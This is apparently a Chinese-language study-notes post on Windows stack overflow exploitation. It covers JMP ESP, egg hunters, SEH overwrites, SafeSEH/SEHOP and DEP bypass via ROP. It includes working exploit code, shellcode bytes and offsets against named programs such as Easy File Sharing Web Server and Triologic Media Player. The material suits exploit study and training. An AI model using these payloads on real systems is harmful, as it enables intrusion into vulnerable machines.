学习啦
从Linux到Windows栈溢出利用
JMP ESP
- 作为一种经典的利用方式,不应该被忘记。
- 在XP及之前的系统中,很多固定的地址有这样的指令。且并没有DEP保护。
- 除了系统的,在程序自身的代码中,也可能找到jmp esp。
- 类推的,jmp reg或许也是一个思路,只要该reg是我们可以控制的。
Short jmp
- 当shellcode的一部分执行,一部分却中断时。可以使用这种方式“滑梯式”地完成利用。
- 一般这种方式,也可以利用第一种方式填充合适的nop来完成。
Egg hnter
当缓冲区空间不够大时,我们可以利用这种技术,写入一段用来搜索shellcode的代码,搜索真正的shellcode执行。
该技术可以在多个平台使用,只是实现的依赖不同 。
- Linux下,依赖system call来处理搜索过程的“非法访问”
- 常用的有access(0x21)、和sigaction(0x43),前者每次检查一个地址(4byte),后者可以检查16byte。
- Windows通常有两种思路
- 实现一个SEH来处理非法访问
- 也用system call,一般是NtDisplayString 、IsBadReadPtr
- 示例基于NtDisplayString技术
6681CAFF0F or dx,0x0fff ;通过添加循环遍历内存中的页面 42 inc edx ;循环遍历每一个地址 52 push edx ;入栈操作 6A43 push byte +0x43 ;NtDisplayString的系统调用ID 58 pop eax ;出栈操作,其实就是作参数 CD2E int 0x2e ;调用NtDisplayString 3C05 cmp al,0x5 ;对比操作 5A pop edx ;出栈操作 74EF jz 0x0 ;如果ZF标志由CMP指令设置,则存在访问冲突 ;无效页面,回到顶部 B874303077 mov eax,0x7a757368 ;标签(7a 75 73 68 = zush) 8BFA mov edi,edx ;将EDI设置为EDX的当前地址指针以用于SCASD指令 AF scasd ;将EAX中的值与DWORD值进行比较 ;在SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode 75EA jnz 0x5 AF scasd 75E7 jnz 0x5 FFE7 jmp edi "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" egg "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
- 注意,这种方式利用,最终执行的shellcode不一定是在栈上,很可能在内存中其他的地方也会有我们输入的copy内容。
- hunter里面有一个egg,所以作为有效payload的标志就应该是两个egg。
- Linux下,依赖system call来处理搜索过程的“非法访问”
SEH HANDLER覆盖
栈溢出经常会导致内存的非法访问(读、写、执行),触发异常。而鉴于Windows的SEH机制,且SEH结构存在栈上。
溢出利用。我们可以覆盖SEH链,每个SEH结构有两个指针,第一个指向下一个SEH结构,第二个指向当前SEH的处理函数。组合利用如下
将指向下一个SEH的指针覆盖为shellcode地址。将指向当前SEH处理函数的指针指向"pop pop ret"操作。
触发SEH。
执行"pop pop ret",将下一条记录的值作为EIP。跳转到shellcode。
覆盖布置
junk + nseh + seh + nops + shellcode #nseh is the shellcode_addr or jmp to shellcode or egg hunter #seh is "pop pop ret"'s addr
安全措施
除了类似于Linux下的DEP、ALSR、NX、RELOC之外。
##### XOR
- 在进入SEH前,将所有寄存器xor操作清零,防止利用。
##### SAFESEH
- 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
- 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
- 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。
##### SEHOP
系统级别地验证SEH链表的完整性(不需要应用程序开启什么)。
SEHOP的全称是Structured Exception Handler Overwrite Protection(结构化
异常处理覆盖保护),SEHOP的核心是检测程序栈中的所有SEH结构链表,特
别是最后一个SEH结构,它拥有一个特殊的异常处理函数指针,指向的是一
个位于NTDLL中的函数。异常处理时,由系统接管分发异常处理,因此上面
描述的检测方案完全可以由系统独立来完成,正因为SEH的这种与应用程序
的无关性,因此应用程序不用做任何改变,你只需要确认你的系统开启了
SEHOP即可。
实践
##### HALLIBURTON LOGVIEW PRO 9.7.5 、10.0.1拒绝服务漏洞
分析过程
长度足够的POC。
file = "payload.cgm" buffer = "a"*0x1000 file = open(file, "w") file.write(buffer) file.close()
在debuger里看到crash的状态
调用栈状态
可以看到我们已经覆盖了SEH
在IDA里溯源,根据调用栈的地址找到最近的调用(在AXCGMV.ocx控件链接库里)。
.text:1018A66D ; sub_1018A310+393j ... .text:1018A66D mov ecx, [esp+0C8h+var_4] .text:1018A674 pop edi .text:1018A675 pop esi .text:1018A676 pop ebp .text:1018A677 pop ebx .text:1018A678 xor ecx, esp .text:1018A67A call @__security_check_cookie@4 ; __security_check_cookie(x) .text:1018A67F add esp, 0B8h .text:1018A685 retn
- 可以看到,其实是由于我们覆盖了SEH,而进行了security检查(Safeseh的流程),失败后终止了程序。
这里的SafeSeh暂时不会饶过,记下了。。。
##### Easy File Sharing Web Server栈溢出覆盖SEH
漏洞分析
触发
buffer = 3000 * "a"
SEH已经被覆盖
偏移量确定后,搜索有用的指令"pop pop set",重新编辑payload
- 注意格式是pad + nseh + seh + shellcode
pad = "/.:/" # 不常见,但必须 pad += "a"*53 # 测试字符串 nseh = "\xeb\x14\x90\x90" #jmp 0x14 nop nop seh = "\x58\x88\x01\x10" #0x100194bf pop pop ret nops = "\x90"*20 # nop * 2018 shellcode = "\x31\xC9" # xor ecx,ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 shellcode += "\x54" # push dword ptr esp shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD shellcode += "\xFF\xD0" # call eax exploit = pad + nseh + seh + nops + shellcode exploit = exploit.ljust(3000, 'a')
##### Unicode程序漏洞利用
shellcode不能有截断字符'\x00',但是unicode绝大部分都是在前加'\x00'
实例Triologic Media Player 8
触发漏洞状态。
可以看到,该程序适宜unicode编码的,我们所有的输入也是被转为unicode。
依然测出seh的偏移,这次我们只用2byte的nseh和seh来覆盖,看看unicode模式下是什么样的
padding = "a"*536 nseh = "nn" seh = "ss" exploit = padding + nseh + seh + "a"*4464
可以看到两个"n"和"s"分别扩展为0x006e006e和0x00730073,
###### 什么样的seh和nseh合适?
在ascii编码下,seh是"pop pop ret"指令的地址。地址是有可能满足的。phrack在paper里这样说的
Under Win32 plateforms, a process usually starts at 00401000, this makes it possible to smash EIP with a return address that looks like : ????:00??00??
mona插件也提供了unicode格式指令的搜索
但是nseh之前是jmp指令(类似"\xeb\xff\x90\x90"),显然在unicode下是办不到的。但是我们可以使用一些无害的指令填充。如下
ASCII ==> ...AAAA... Unicode ==> ...0041004100410041... But lets see what this looks like when it gets translated to instructions: ... 41 INC ECX 004100 ADD BYTE PTR DS:[ECX],AL 41 INC ECX 004100 ADD BYTE PTR DS:[ECX],AL ... So this is very very interesting! It seems like one byte will remain intact and the following byte will "absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple of candidates to absorb these 00's (these won't always be suitable): 006E00 ADD BYTE PTR DS:[ESI],CH 006F00 ADD BYTE PTR DS:[EDI],CH 007000 ADD BYTE PTR DS:[EAX],DH 007100 ADD BYTE PTR DS:[ECX],DH 007200 ADD BYTE PTR DS:[EDX],DH 007300 ADD BYTE PTR DS:[EBX],DH
测试一下,(不是所有的"pop pop ret"地址都可用,因为nseh地址之后也会作为指令执行)
padding = "a"*536 nseh = "\x41\x71" seh = "\x41\x4d" exploit = padding + nseh + seh + "a"*4464
可以看到,已经执行了"pop pop ret",且来到了指令"\x41\x00\x71"。
###### shellcode的布置
- 由于我们没有jmp到shellcode。所以需要手动将shellcode与某个寄存器对齐。(注意是指向shellcode第一个字节,而不是填充的nop)。一般是eax,因为汇编指令集对eax的优化,使得很多指令在eax上使用更方便(一字节)便于unicode编码。
(1)找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是 Shellcode的地址) (2在堆栈找一个指向我们缓冲区的地址, 通过pop送到EIP最终会转去执行我们的Shellcode.
* 这里我们用第一种方式。
```python
align = (
'\x55'
'\x71'
'\x58'
"\x71" #Venetian Padding
"\x05\x20\x11" #add eax,0x11002000 \
"\x71" #Venetian Padding |> +300
"\x2d\x17\x11" #sub eax,0x11001700 /
"\x71" #Venetian Padding
"\x50" #push EAX
"\x71" #Venetian Padding
"\xC3" #ret
)
```
* 这段align会将eax指向我们输入内容中的一段地址,我们只需要计算下偏移,布置好shellcode就可以执行到那里。
* 需要注意的是"\xc3"这条指令在不同语言下的unicode编码方式不一样,在en版下OK,但是zh下会编码为'\xca\x80',导致失败(反正很迷)(我这里是手动改的。。。)[参见这里](https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)
* shellcode的生成借助alpha2编译器。,以下是eax指向shellcode时(弹出计算器)的unicode编码
```c
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZAB"
"ARALAYAIAQAIAQAPA5AAAPAZ1AI1AIA"
"IAJ11AIAIAXA58AAPAZABABQI1AIQIA"
"IQI1111AIAJQI1AYAZBABABABAB30AP"
"B944JBP199B1RH2CQQRL1SR4X86MMSDF3LKOHPA"
)
```
如果,我们不用push, ret的方式跳转到shellcode,而是一步步走到shellcode。
注意将eax指向shellcode的首个非null byte。
eax的值,可以由ebp(栈的值,shellcode附近)经过计算(注意unicode对齐)布置到当前地址后一段。
计算偏移,将shellcode布置到eax指向的位置。
填充的"nop",我一般用's',在unicode下就是跳转到下一条指令。(当然也可以用前面提到的nop)
jnc Label1 Label1:
align = ( '\x55' '\x71' '\x58' "\x71" #Venetian Padding "\x05\x40\x11" #add eax,0x11004000 \ "\x71" #Venetian Padding |> +3000 "\x2d\x10\x11" #sub eax,0x11001000 / "\x71" #Venetian Padding )
这次就不要ret,直接平滑地“走到”shellcode。
##### ROP方式绕过DEP
和Linux下的绕过NX类似,圣斗士通过ROP chain来完成。
不同的是,Windows下,我们可以先rop调用WIN API来关闭DEP保护或者重新定义属性,再执行位于stack上的shellcode。可用的WIN API如下
布置的方式也有所不同,由于在Linux上完全是依赖代码片段来完成整个get shell的过程,因此在stack上的都是参数和可执行的地址,而在window上我们一般最终还是需要在stack上执行shellcode。所以需要保持代码段执行完毕后esp指向shellcode,之后ret或者jmp esp都可以完成。
这里的stack的布置,我们只需要找到合适的"pop r32 retn","pushad retn"组合来将需要的片段放在合适的r32中,再通过pushad入栈。此时空间分布如下。注意,如果edi是"pop edi ret",esi是啥就无所谓了。(反正只要能跳到API就行了)
这样,在执行API关闭DEP之后,就可以顺利进入shellcode(仍然在stack中)。
以ISCC 2014的一个pwn为例(shellcode.exe),这里选用的API是SetProcessPolicy。
- 确定偏移....
- 主要是rop_chain的构造。
rop_gadgets = [ 0x7c801d5d, #RETN 0x90909090, #nops 0x7c863e63, # POP EBP # RETN [kernel32.dll] 0x7c862144, # SetProcessDEPPolicy() [kernel32.dll] 0x7c80dfdd, # POP EBX # RETN [kernel32.dll] 0x00000000, # dwFlag 0x7c810afe, # POP EDI # RETN [kernel32.dll] 0x7c810afe, # skip 4 bytes [kernel32.dll] 0x77d23ad9, # PUSHAD # RETN [User32.dll] ]
- 注意,如果不可以传'\x00'这样的字节,可以通过指令运算来完成。
- 这里有个有趣的,调试过程中发现如果在0x7c801d5d下了断点,shellcode就会异常中断。猜测是由于断点的地方改变了一个字节。
参考链接